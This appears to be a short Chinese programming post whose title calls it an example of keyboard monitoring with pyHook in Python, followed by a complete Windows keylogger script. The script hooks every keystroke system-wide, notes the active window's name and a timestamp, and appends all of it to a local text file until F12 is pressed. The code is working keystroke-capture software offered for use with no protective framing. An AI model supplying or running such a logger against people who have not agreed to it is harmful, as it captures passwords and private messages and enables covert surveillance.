python中使用pyhook实现键盘监控的例子

# -*- coding: cp936 -*-
import pythoncom 
import pyHook 
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):  
  global t,asciistr,keystr
  filename='d://test.txt'
  wrfile=open(filename,'ab')
  "处理键盘事件"
  if t==str(event.WindowName):
    asciistr=asciistr+chr(event.Ascii)
    keystr=keystr+str(event.Key)
    
  else:
    t=str(event.WindowName)
    if asciistr=='' and keystr=='':
      wrfile.writelines("\nWindow:%s\n" % str(event.Window))
      wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
      wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
      wrfile.writelines("Message:%d\n" % event.Message)
      wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    else:
      wrfile.writelines("Ascii_char:%s\n" %asciistr)
      wrfile.writelines("Key_char:%s\n" %keystr)
      wrfile.writelines("\nWindow:%s\n" % str(event.Window))
      wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
      wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    
    asciistr=chr(event.Ascii)
    keystr=str(event.Key)
  if str(event.Key)=='F12': #按下F12后终止
    wrfile.writelines("Ascii_char:%s\n" %asciistr)
    wrfile.writelines("Key_char:%s\n" %keystr)
    wrfile.close()  
    win32api.PostQuitMessage()
    
  return True
  
  

if __name__ == "__main__":

  #创建hook句柄 
  hm = pyHook.HookManager() 

  #监控键盘 
  hm.KeyDown = onKeyboardEvent 
  hm.HookKeyboard() 

  #循环获取消息 
  pythoncom.PumpMessages(10000)